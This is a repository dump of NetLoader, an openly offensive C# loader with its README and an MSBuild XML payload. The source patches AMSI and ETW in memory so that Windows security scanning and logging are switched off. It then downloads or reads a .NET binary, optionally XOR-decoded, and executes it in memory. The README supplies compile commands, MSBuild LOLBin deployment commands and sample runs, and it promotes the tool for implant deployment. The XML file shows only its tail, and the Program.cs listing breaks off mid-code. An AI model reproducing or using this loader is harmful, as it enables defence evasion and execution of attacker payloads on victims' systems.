├── LOLBins └── NetLoader.xml ├── README.md └── Source └── Program.cs /LOLBins/NetLoader.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 11 | IMAGE_EXPORT_DIRECTORY 70 | Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport); 71 | Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10)); 72 | Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14)); 73 | Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18)); 74 | Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C)); 75 | Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20)); 76 | Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24)); 77 | 78 | // Loop the array of export name RVA's 79 | for (int i = 0; i < NumberOfNames; i++) 80 | { 81 | string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4)))); 82 | if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase)) 83 | { 84 | Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase; 85 | Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase)))); 86 | FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA); 87 | break; 88 | } 89 | } 90 | } 91 | catch 92 | { 93 | // Catch parser failure 94 | throw new InvalidOperationException("Failed to parse module exports."); 95 | } 96 | 97 | if (FunctionPtr == IntPtr.Zero) 98 | { 99 | // Export not found 100 | throw new MissingMethodException(ExportName + ", export not found."); 101 | } 102 | return FunctionPtr; 103 | } 104 | public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false) 105 | { 106 | IntPtr hModule = GetLoadedModuleAddress(DLLName); 107 | if (hModule == IntPtr.Zero) 108 | { 109 | throw new DllNotFoundException(DLLName + ", Dll was not found."); 110 | } 111 | 112 | return GetExportAddress(hModule, FunctionName); 113 | } 114 | public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters) 115 | { 116 | IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName); 117 | return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters); 118 | } 119 | public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters) 120 | { 121 | Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType); 122 | return funcDelegate.DynamicInvoke(Parameters); 123 | } 124 | private static byte[] xorEncDec(byte[] inputData, string keyPhrase) 125 | { 126 | //byte[] keyBytes = Encoding.UTF8.GetBytes(keyPhrase); 127 | byte[] bufferBytes = new byte[inputData.Length]; 128 | for (int i = 0; i < inputData.Length; i++) 129 | { 130 | bufferBytes[i] = (byte)(inputData[i] ^ Encoding.UTF8.GetBytes(keyPhrase)[i % Encoding.UTF8.GetBytes(keyPhrase).Length]); 131 | } 132 | return bufferBytes; 133 | } 134 | 135 | 136 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 137 | public delegate IntPtr GetProcAddress(IntPtr UrethralgiaOrc, string HypostomousBuried); 138 | 139 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 140 | public delegate bool VirtualProtect(IntPtr GhostwritingNard, UIntPtr NontabularlyBankshall, uint YohimbinizationUninscribed, out uint ZygosisCoordination); 141 | 142 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 143 | public delegate IntPtr LoadLibrary(string LiodermiaGranulater); 144 | 145 | private static object[] globalArgs = null; 146 | 147 | public static void Main(string[] args) 148 | { 149 | 150 | PatchETW(); 151 | 152 | PathAMSI(); 153 | 154 | string payloadPathOrUrl = ""; 155 | string[] payloadArgs = new string[] { }; 156 | 157 | bool base64Enc = false; 158 | bool xorEnc = false; 159 | string xorKey = ""; 160 | 161 | int secProTypeHolde = (Convert.ToInt32("384") * Convert.ToInt32("8")); 162 | if (args.Length > 0) 163 | { 164 | 165 | foreach (string argument in args) 166 | { 167 | 168 | if (argument.ToLower() == "--b64" || argument.ToLower() == "-b64") 169 | { 170 | base64Enc = true; 171 | Console.WriteLine("[+] All arguments are Base64 encoded, decoding them on the fly"); 172 | } 173 | 174 | 175 | if (argument.ToLower() == "-xor" || argument.ToLower() == "--xor") 176 | { 177 | xorEnc = true; 178 | 179 | int argData = Array.IndexOf(args, argument) + 1; 180 | if (argData < args.Length) 181 | { 182 | string rawArg = args[argData]; 183 | if (base64Enc) 184 | xorKey = Encoding.UTF8.GetString(Convert.FromBase64String(rawArg)); 185 | else 186 | xorKey = rawArg; 187 | } 188 | 189 | Console.WriteLine("[+] Decrypting XOR encrypted binary using key '{0}'", xorKey); 190 | } 191 | 192 | 193 | if (argument.ToLower() == "-path" || argument.ToLower() == "--path") 194 | { 195 | int argData = Array.IndexOf(args, argument) + 1; 196 | if (argData < args.Length) 197 | { 198 | string rawPayload = args[argData]; 199 | if (base64Enc) 200 | payloadPathOrUrl = Encoding.UTF8.GetString(Convert.FromBase64String(rawPayload)); 201 | else 202 | payloadPathOrUrl = rawPayload; 203 | } 204 | } 205 | 206 | 207 | if (argument.ToLower() == "-args" || argument.ToLower() == "--args") 208 | { 209 | int binaryArgsIndex = Array.IndexOf(args, argument) + 1; 210 | int nbBinaryArgs = args.Length - binaryArgsIndex; 211 | 212 | payloadArgs = new String[nbBinaryArgs]; 213 | 214 | 215 | for (int i = 0; i < nbBinaryArgs; i++) 216 | { 217 | string rawPayloadArgs = args[binaryArgsIndex + i]; 218 | 219 | if (base64Enc) 220 | payloadArgs[i] = Encoding.UTF8.GetString(Convert.FromBase64String(rawPayloadArgs)); 221 | else 222 | payloadArgs[i] = rawPayloadArgs; 223 | } 224 | } 225 | } 226 | 227 | 228 | if (string.IsNullOrEmpty(payloadPathOrUrl)) 229 | { 230 | printHelp(); 231 | Environment.Exit(0); 232 | } 233 | 234 | 235 | 236 | TriggerPayload(payloadPathOrUrl, payloadArgs, xorEnc, xorKey, secProTypeHolde); 237 | Environment.Exit(0); 238 | 239 | 240 | } 241 | 242 | 243 | 244 | 245 | } 246 | 247 | private static void PatchETW() 248 | { 249 | IntPtr pEtwEventSend = GetLibraryAddress("ntdll.dll", "EtwEventWrite"); 250 | IntPtr pVirtualProtect = GetLibraryAddress("kernel32.dll", "VirtualProtect"); 251 | 252 | VirtualProtect fVirtualProtect = (VirtualProtect)Marshal.GetDelegateForFunctionPointer(pVirtualProtect, typeof(VirtualProtect)); 253 | 254 | var patch = getETWPayload(); 255 | uint oldProtect; 256 | 257 | if (fVirtualProtect(pEtwEventSend, (UIntPtr)patch.Length, 0x40, out oldProtect)) 258 | { 259 | Marshal.Copy(patch, 0, pEtwEventSend, patch.Length); 260 | Console.WriteLine("[+] Successfully unhooked ETW!"); 261 | } 262 | 263 | 264 | } 265 | 266 | private static string parseStringConsoleInput(string inputData, bool base64Decode) 267 | { 268 | if (base64Decode) 269 | inputData = Encoding.UTF8.GetString(Convert.FromBase64String(inputData)); 270 | 271 | if (inputData.Trim().ToLower().Equals("x")) 272 | Environment.Exit(0); 273 | 274 | return inputData; 275 | 276 | } 277 | 278 | private static bool parseBoolConsoleInput(ConsoleKey consoleKey) 279 | { 280 | if (consoleKey == ConsoleKey.X) 281 | Environment.Exit(0); 282 | 283 | return (consoleKey == ConsoleKey.Y); 284 | } 285 | 286 | private static void printHelp() 287 | { 288 | 289 | Console.WriteLine("Usage: "); 290 | Console.WriteLine("Usage: [-b64] [-xor ] -path [-args ]"); 291 | Console.WriteLine("\t-b64: Optionnal flag parameter indicating that all other parameters are base64 encoded."); 292 | Console.WriteLine("\t-xor: Optionnal parameter indicating that binary files are XOR encrypted. Must be followed by the XOR decryption key."); 293 | Console.WriteLine("\t-path: Mandatory parameter. Indicates the path, either local or a URL, of the binary to load."); 294 | Console.WriteLine("\t-args: Optionnal parameter used to pass arguments to the loaded binary. Must be followed by all arguments for the binary."); 295 | 296 | } 297 | 298 | private static Assembly loadASM(byte[] byteArray) 299 | { 300 | return Assembly.Load(byteArray); 301 | } 302 | 303 | private static byte[] readLocalFilePath(string filePath, FileMode fileMode) 304 | { 305 | byte[] buffer = null; 306 | using (FileStream fs = new FileStream(filePath, fileMode, FileAccess.Read)) 307 | { 308 | buffer = new byte[fs.Length]; 309 | fs.Read(buffer, 0, (int)fs.Length); 310 | } 311 | return buffer; 312 | 313 | } 314 | private static IntPtr getAMSILocation() 315 | { 316 | //GetProcAddress 317 | IntPtr pGetProcAddress = GetLibraryAddress("kernel32.dll", "GetProcAddress"); 318 | IntPtr pLoadLibrary = GetLibraryAddress("kernel32.dll", "LoadLibraryA"); 319 | 320 | GetProcAddress fGetProcAddress = (GetProcAddress)Marshal.GetDelegateForFunctionPointer(pGetProcAddress, typeof(GetProcAddress)); 321 | LoadLibrary fLoadLibrary = (LoadLibrary)Marshal.GetDelegateForFunctionPointer(pLoadLibrary, typeof(LoadLibrary)); 322 | 323 | return fGetProcAddress(fLoadLibrary("amsi.dll"), "AmsiScanBuffer"); 324 | } 325 | 326 | private static bool is64Bit() 327 | { 328 | if (IntPtr.Size == 4) 329 | return false; 330 | 331 | return true; 332 | } 333 | 334 | 335 | private static byte[] getETWPayload() 336 | { 337 | if (!is64Bit()) 338 | return Convert.FromBase64String("whQA"); 339 | return Convert.FromBase64String("ww=="); 340 | } 341 | 342 | private static byte[] getAMSIPayload() 343 | { 344 | if (!is64Bit()) 345 | return Convert.FromBase64String("uFcAB4DCGAA="); 346 | return Convert.FromBase64String("uFcAB4DD"); 347 | } 348 | 349 | private static Type junkFunction(MethodInfo methodInfo) 350 | { 351 | return methodInfo.ReflectedType; 352 | } 353 | private static object invokeCSharpMethod(MethodInfo methodInfo) 354 | { 355 | if (junkFunction(methodInfo) == methodInfo.ReflectedType) 356 | methodInfo.Invoke(null, globalArgs); 357 | Console.ReadLine(); 358 | return globalArgs[0]; 359 | } 360 | 361 | private static byte[] downloadURL(string url) 362 | { 363 | HttpWebRequest myRequest = (HttpWebRequest)WebRequest.Create(url); 364 | myRequest.Proxy.Credentials = CredentialCache.DefaultCredentials; 365 | myRequest.Method = "GET"; 366 | WebResponse myResponse = myRequest.GetResponse(); 367 | MemoryStream ms = new MemoryStream(); 368 | myResponse.GetResponseStream().CopyTo(ms); 369 | return ms.ToArray(); 370 | } 371 | 372 | public static int setProtocolTLS(int secProt) 373 | { 374 | ServicePointManager.SecurityProtocol = (SecurityProtocolType)secProt; 375 | return secProt; 376 | } 377 | private static MethodInfo getEntryPoint(Assembly asm) 378 | { 379 | 380 | return asm.EntryPoint; 381 | } 382 | 383 | private static void TriggerPayload(string payloadPathOrURL, string[] inputArgs, bool xorEncoded, string xorKey, int setProtType = 0) 384 | { 385 | setProtocolTLS(setProtType); 386 | 387 | if (!string.IsNullOrEmpty(string.Join(" ", inputArgs))) 388 | Console.WriteLine("[+] URL/PATH : " + payloadPathOrURL + " Arguments : " + string.Join(" ", inputArgs)); 389 | else 390 | { 391 | Console.WriteLine("[+] URL/PATH : " + payloadPathOrURL + " Arguments : " + string.Join(" ", inputArgs)); 392 | } 393 | globalArgs = new object[] { inputArgs }; 394 | 395 | if (xorEncoded && payloadPathOrURL.ToLower().StartsWith("http")) 396 | { 397 | 398 | encDeploy(downloadURL(payloadPathOrURL), xorKey); 399 | } 400 | else if (!xorEncoded && payloadPathOrURL.ToLower().StartsWith("http")) 401 | { 402 | 403 | unEncDeploy(downloadURL(payloadPathOrURL)); 404 | } 405 | else if (!xorEncoded && !payloadPathOrURL.ToLower().StartsWith("http")) 406 | unEncDeploy(readLocalFilePath(payloadPathOrURL, FileMode.Open)); 407 | else 408 | encDeploy(readLocalFilePath(payloadPathOrURL, FileMode.Open), xorKey); 409 | 410 | } 411 | 412 | private static void encDeploy(byte[] data, string xorKey) 413 | { 414 | 415 | invokeCSharpMethod(getEntryPoint(loadASM(xorEncDec(data, xorKey)))); 416 | 417 | } 418 | 419 | private static void unEncDeploy(byte[] data) 420 | { 421 | 422 | invokeCSharpMethod(getEntryPoint(loadASM(data))); 423 | 424 | } 425 | 426 | private static IntPtr unProtect(IntPtr amsiLibPtr) 427 | { 428 | 429 | IntPtr pVirtualProtect = GetLibraryAddress("kernel32.dll", "VirtualProtect"); 430 | 431 | VirtualProtect fVirtualProtect = (VirtualProtect)Marshal.GetDelegateForFunctionPointer(pVirtualProtect, typeof(VirtualProtect)); 432 | 433 | uint newMemSpaceProtection = 0; 434 | if (fVirtualProtect(amsiLibPtr, (UIntPtr)getAMSIPayload().Length, 0x40, out newMemSpaceProtection)) 435 | { 436 | return amsiLibPtr; 437 | } 438 | else 439 | { 440 | return (IntPtr)0; 441 | } 442 | 443 | } 444 | private static void PathAMSI() 445 | { 446 | 447 | IntPtr amsiLibPtr = unProtect(getAMSILocation()); 448 | if (amsiLibPtr != (IntPtr)0) 449 | { 450 | Marshal.Copy(getAMSIPayload(), 0, amsiLibPtr, getAMSIPayload().Length); 451 | Console.WriteLine("[+] Successfully patched AMSI!"); 452 | } 453 | else 454 | { 455 | Console.WriteLine("[!] Patching AMSI FAILED"); 456 | } 457 | 458 | } 459 | 460 | } 461 | ]]> 462 | 463 | 464 | 465 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # NetLoader 2 | Loads any C# binary from filepath or url, patching AMSI and unhooks ETW 3 | 4 | ** 01.10.2021 : Non-Obfuscated source code + SharpSploit to 'bypass' userland hooks when patching AMSI and ETW** 5 | 6 | **Looking for binaries/payloads to deploy? Checkout [SharpCollection](https://github.com/Flangvik/SharpCollection)**!. 7 | SharpCollection contains nightly builds of C# offensive tools, fresh from their respective master branches built and released in a CDI fashion using Azure DevOps release pipelines. 8 | 9 | # Compile 10 | 11 | c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:RandomName.exe Program.cs 12 | 13 | # Deploy via LOLBin (MSBuild) 14 | 15 | Payload for MSBuild is in the /LOLBins folder, might push this for varius other LOLBins aswell. 16 | Arguments have to be added into the bottom XML file when NetLoader is deployed using MSBuild 17 | 18 | Adding arguments to the XML payload 19 | public class ClassExample : Task, ITask 20 | { 21 | public override bool Execute() 22 | { //Add your arguments here 23 | SoullikePrincelier.Main(new string[] { "--path", "\\smbshare\Seatbelt.exe" }); 24 | return true; 25 | } 26 | } 27 | 28 | For 64 bit: 29 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe NetLoader.xml 30 | 31 | For 32 bit: 32 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe NetLoader.xml 33 | 34 | # Usage 35 | Deploy payload from local path or SMB share (note that NetLoader automatically detects whether the path provided is local or remote) 36 | 37 | PS C:\Users\Clark Kent\Desktop> .\NetLoader.exe --path Seatbelt.exe --args whoami 38 | [!] ~Flangvik , ~Arno0x #NetLoader 39 | [+] Successfully patched AMSI! 40 | [+] URL/PATH : Seatbelt.exe 41 | [+] Arguments : whoami 42 | 43 | 44 | %&&@@@&& 45 | &&&&&&&%%%, #&&@@@@@@%%%%%%###############% 46 | &%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%% 47 | %%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################((((((((((((((((((( 48 | #%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################((((((((((((((((((( 49 | #%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#(((((((((( 50 | #####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####(((((((( 51 | #######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((##### 52 | ###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((##### 53 | #####%###################### %%%.. @////(((&%%%%%%%################ 54 | &%& %%%%% Seatbelt %////(((&%%%%%%%%#############* 55 | &%%&&&%%%%% v1.0.0 ,(((&%%%%%%%%%%%%%%%%%, 56 | #%%%%##, 57 | 58 | 59 | ERROR: Error running command "whoami" 60 | 61 | 62 | [*] Completed collection in 0,008 seconds 63 | 64 | 65 | Supports base64 inputs for those long strings that would usually break stuff! 66 | 67 | PS C:\Users\Clark Kent\Desktop> .\NetLoader.exe --b64 --path U2VhdGJlbHQuZXhl --args d2hvYW1p 68 | [!] ~Flangvik , ~Arno0x #NetLoader 69 | [+] All arguments are Base64 encoded, decoding them on the fly 70 | [+] Successfully patched AMSI! 71 | [+] URL/PATH : Seatbelt.exe 72 | [+] Arguments : whoami 73 | 74 | 75 | %&&@@@&& 76 | &&&&&&&%%%, #&&@@@@@@%%%%%%###############% 77 | &%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%% 78 | %%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################((((((((((((((((((( 79 | #%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################((((((((((((((((((( 80 | #%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#(((((((((( 81 | #####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####(((((((( 82 | #######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((##### 83 | ###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((##### 84 | #####%###################### %%%.. @////(((&%%%%%%%################ 85 | &%& %%%%% Seatbelt %////(((&%%%%%%%%#############* 86 | &%%&&&%%%%% v1.0.0 ,(((&%%%%%%%%%%%%%%%%%, 87 | #%%%%##, 88 | 89 | 90 | ERROR: Error running command "whoami" 91 | 92 | 93 | [*] Completed collection in 0,006 seconds 94 | 95 | 96 | # Todo 97 | - [X] Automate the build and release of many of the Sharp Tools so they automagically appear in ~~/Binaries~~ [SharpCollection](https://github.com/Flangvik/SharpCollection) (CDI / Azure DevOps) 98 | - [X] Add support for non-interactive use (input args) 99 | - [X] Add support to run custom modules from your own URL or SMB Share (Great for on-the-fly Implant deployment) 100 | - [X] Add an working MSBuild XML payload for the LOLBins lovers (Myself included) 101 | - [X] Update with credits and links to the github repos that ~~/Binaries~~ [SharpCollection](https://github.com/Flangvik/SharpCollection) are compiled from 102 | 103 | # Credits 104 | [Arno0x](https://twitter.com/Arno0x0x) for the partial rewrite that is now merged into the main repo [see gist](https://gist.github.com/Arno0x/2b223114a726be3c5e7a9cacd25053a2) 105 | [_RastaMouse](https://twitter.com/_RastaMouse/) for the [AMSI bypass](https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass/Program.cs) 106 | 107 | -------------------------------------------------------------------------------- /Source/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Net; 4 | using System.Text; 5 | using System.Reflection; 6 | using System.Runtime.InteropServices; 7 | using System.Linq; 8 | using System.Threading; 9 | using System.Diagnostics; 10 | 11 | 12 | /* Uncomment this when deploying from MSBuild payload 13 | 14 | using Microsoft.Build.Framework; 15 | using Microsoft.Build.Utilities; 16 | 17 | //This is for MSBuild later 18 | public class ClassExample : Task, ITask 19 | { 20 | public override bool Execute() 21 | { 22 | NetLoader.Main(new string[] { }); 23 | return true; 24 | } 25 | } 26 | */ 27 | 28 | public class NetLoader 29 | { 30 | 31 | public static IntPtr GetLoadedModuleAddress(string DLLName) 32 | { 33 | ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules; 34 | foreach (ProcessModule Mod in ProcModules) 35 | { 36 | if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower())) 37 | { 38 | return Mod.BaseAddress; 39 | } 40 | } 41 | return IntPtr.Zero; 42 | } 43 | public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName) 44 | { 45 | IntPtr FunctionPtr = IntPtr.Zero; 46 | try 47 | { 48 | // Traverse the PE header in memory 49 | Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C)); 50 | Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14)); 51 | Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18; 52 | Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader); 53 | Int64 pExport = 0; 54 | if (Magic == 0x010b) 55 | { 56 | pExport = OptHeader + 0x60; 57 | } 58 | else 59 | { 60 | pExport = OptHeader + 0x70; 61 | } 62 | 63 | // Read -> IMAGE_EXPORT_DIRECTORY 64 | Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport); 65 | Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10)); 66 | Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14)); 67 | Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18)); 68 | Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C)); 69 | Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20)); 70 | Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24)); 71 | 72 | // Loop the array of export name RVA's 73 | for (int i = 0; i < NumberOfNames; i++) 74 | { 75 | string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4)))); 76 | if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase)) 77 | { 78 | Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase; 79 | Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase)))); 80 | FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA); 81 | break; 82 | } 83 | } 84 | } 85 | catch 86 | { 87 | // Catch parser failure 88 | throw new InvalidOperationException("Failed to parse module exports."); 89 | } 90 | 91 | if (FunctionPtr == IntPtr.Zero) 92 | { 93 | // Export not found 94 | throw new MissingMethodException(ExportName + ", export not found."); 95 | } 96 | return FunctionPtr; 97 | } 98 | public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false) 99 | { 100 | IntPtr hModule = GetLoadedModuleAddress(DLLName); 101 | if (hModule == IntPtr.Zero) 102 | { 103 | throw new DllNotFoundException(DLLName + ", Dll was not found."); 104 | } 105 | 106 | return GetExportAddress(hModule, FunctionName); 107 | } 108 | public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters) 109 | { 110 | IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName); 111 | return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters); 112 | } 113 | public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters) 114 | { 115 | Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType); 116 | return funcDelegate.DynamicInvoke(Parameters); 117 | } 118 | private static byte[] xorEncDec(byte[] inputData, string keyPhrase) 119 | { 120 | //byte[] keyBytes = Encoding.UTF8.GetBytes(keyPhrase); 121 | byte[] bufferBytes = new byte[inputData.Length]; 122 | for (int i = 0; i < inputData.Length; i++) 123 | { 124 | bufferBytes[i] = (byte)(inputData[i] ^ Encoding.UTF8.GetBytes(keyPhrase)[i % Encoding.UTF8.GetBytes(keyPhrase).Length]); 125 | } 126 | return bufferBytes; 127 | } 128 | 129 | 130 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 131 | public delegate IntPtr GetProcAddress(IntPtr UrethralgiaOrc, string HypostomousBuried); 132 | 133 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 134 | public delegate bool VirtualProtect(IntPtr GhostwritingNard, UIntPtr NontabularlyBankshall, uint YohimbinizationUninscribed, out uint ZygosisCoordination); 135 | 136 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 137 | public delegate IntPtr LoadLibrary(string LiodermiaGranulater); 138 | 139 | private static object[] globalArgs = null; 140 | 141 | public static void Main(string[] args) 142 | { 143 | 144 | PatchETW(); 145 | 146 | PathAMSI(); 147 | 148 | string payloadPathOrUrl = ""; 149 | string[] payloadArgs = new string[] { }; 150 | 151 | bool base64Enc = false; 152 | bool xorEnc = false; 153 | string xorKey = ""; 154 | 155 | int secProTypeHolde = (Convert.ToInt32("384") * Convert.ToInt32("8")); 156 | if (args.Length > 0) 157 | { 158 | 159 | foreach (string argument in args) 160 | { 161 | 162 | if (argument.ToLower() == "--b64" || argument.ToLower() == "-b64") 163 | { 164 | base64Enc = true; 165 | Console.WriteLine("[+] All arguments are Base64 encoded, decoding them on the fly"); 166 | } 167 | 168 | 169 | if (argument.ToLower() == "-xor" || argument.ToLower() == "--xor") 170 | { 171 | xorEnc = true; 172 | 173 | int argData = Array.IndexOf(args, argument) + 1; 174 | if (argData < args.Length) 175 | { 176 | string rawArg = args[argData]; 177 | if (base64Enc) 178 | xorKey = Encoding.UTF8.GetString(Convert.FromBase64String(rawArg)); 179 | else 180 | xorKey = rawArg; 181 | } 182 | 183 | Console.WriteLine("[+] Decrypting XOR encrypted binary using key '{0}'", xorKey); 184 | } 185 | 186 | 187 | if (argument.ToLower() == "-path" || argument.ToLower() == "--path") 188 | { 189 | int argData = Array.IndexOf(args, argument) + 1; 190 | if (argData < args.Length) 191 | { 192 | string rawPayload = args[argData]; 193 | if (base64Enc) 194 | payloadPathOrUrl = Encoding.UTF8.GetString(Convert.FromBase64String(rawPayload)); 195 | else 196 | payloadPathOrUrl = rawPayload; 197 | } 198 | } 199 | 200 | 201 | if (argument.ToLower() == "-args" || argument.ToLower() == "--args") 202 | { 203 | int binaryArgsIndex = Array.IndexOf(args, argument) + 1; 204 | int nbBinaryArgs = args.Length - binaryArgsIndex; 205 | 206 | payloadArgs = new String[nbBinaryArgs]; 207 | 208 | 209 | for (int i = 0; i < nbBinaryArgs; i++) 210 | { 211 | string rawPayloadArgs = args[binaryArgsIndex + i]; 212 | 213 | if (base64Enc) 214 | payloadArgs[i] = Encoding.UTF8.GetString(Convert.FromBase64String(rawPayloadArgs)); 215 | else 216 | payloadArgs[i] = rawPayloadArgs; 217 | } 218 | } 219 | } 220 | 221 | 222 | if (string.IsNullOrEmpty(payloadPathOrUrl)) 223 | { 224 | printHelp(); 225 | Environment.Exit(0); 226 | } 227 | 228 | 229 | 230 | TriggerPayload(payloadPathOrUrl, payloadArgs, xorEnc, xorKey, secProTypeHolde); 231 | Environment.Exit(0); 232 | 233 | 234 | } 235 | 236 | 237 | 238 | 239 | } 240 | 241 | private static void PatchETW() 242 | { 243 | IntPtr pEtwEventSend = GetLibraryAddress("ntdll.dll", "EtwEventWrite"); 244 | IntPtr pVirtualProtect = GetLibraryAddress("kernel32.dll", "VirtualProtect"); 245 | 246 | VirtualProtect fVirtualProtect = (VirtualProtect)Marshal.GetDelegateForFunctionPointer(pVirtualProtect, typeof(VirtualProtect)); 247 | 248 | var patch = getETWPayload(); 249 | uint oldProtect; 250 | 251 | if (fVirtualProtect(pEtwEventSend, (UIntPtr)patch.Length, 0x40, out oldProtect)) 252 | { 253 | Marshal.Copy(patch, 0, pEtwEventSend, patch.Length); 254 | Console.WriteLine("[+] Successfully unhooked ETW!"); 255 | } 256 | 257 | 258 | } 259 | 260 | private static string parseStringConsoleInput(string inputData, bool base64Decode) 261 | { 262 | if (base64Decode) 263 | inputData = Encoding.UTF8.GetString(Convert.FromBase64String(inputData)); 264 | 265 | if (inputData.Trim().ToLower().Equals("x")) 266 | Environment.Exit(0); 267 | 268 | return inputData; 269 | 270 | } 271 | 272 | private static bool parseBoolConsoleInput(ConsoleKey consoleKey) 273 | { 274 | if (consoleKey == ConsoleKey.X) 275 | Environment.Exit(0); 276 | 277 | return (consoleKey == ConsoleKey.Y); 278 | } 279 | 280 | private static void printHelp() 281 | { 282 | 283 | Console.WriteLine("Usage: "); 284 | Console.WriteLine("Usage: [-b64] [-xor ] -path [-args ]"); 285 | Console.WriteLine("\t-b64: Optionnal flag parameter indicating that all other parameters are base64 encoded."); 286 | Console.WriteLine("\t-xor: Optionnal parameter indicating that binary files are XOR encrypted. Must be followed by the XOR decryption key."); 287 | Console.WriteLine("\t-path: Mandatory parameter. Indicates the path, either local or a URL, of the binary to load."); 288 | Console.WriteLine("\t-args: Optionnal parameter used to pass arguments to the loaded binary. Must be followed by all arguments for the binary."); 289 | 290 | } 291 | 292 | private static Assembly loadASM(byte[] byteArray) 293 | { 294 | return Assembly.Load(byteArray); 295 | } 296 | 297 | private static byte[] readLocalFilePath(string filePath, FileMode fileMode) 298 | { 299 | byte[] buffer = null; 300 | using (FileStream fs = new FileStream(filePath, fileMode, FileAccess.Read)) 301 | { 302 | buffer = new byte[fs.Length]; 303 | fs.Read(buffer, 0, 